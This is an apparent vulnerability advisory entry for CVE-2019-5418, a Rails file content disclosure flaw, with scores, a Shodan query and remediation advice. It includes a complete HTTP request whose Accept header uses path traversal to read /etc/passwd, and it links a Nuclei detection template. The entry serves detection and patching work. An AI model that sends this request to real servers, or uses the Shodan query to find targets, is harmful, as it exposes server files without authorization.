| Title | Rails File Content Disclosure |
|---|---|
| Author | omarkurt |
| Severity | High |
| Impact | This vulnerability can lead to unauthorized access to sensitive information stored on the server. |
| Remediation | Apply the patch provided by the Rails team or upgrade to a version that includes the fix. |
| CVSS Score | 7.5 |
| EPSS Score | 0.94336 |
| CVE ID | CVE-2019-5418 |
| CWE ID | CWE-22,NVD-CWE-noinfo |
| Shodan Query | cpe:"cpe:2.3:a:rubyonrails:rails" |
| Tags | cve cve2019 rails lfi disclosure edb rubyonrails kev vkev vuln |
Rails <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 are susceptible to a file content disclosure vulnerability because specially crafted accept headers can cause contents of arbitrary files on the target system’s file system to be exposed.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/603.1.10 (KHTML, like Gecko) Version/10.1 Safari/603.1.10
Connection: close
Accept: ../../../../../../../../etc/passwd\{\{
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-5418.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-5418.pcap
N/AN/A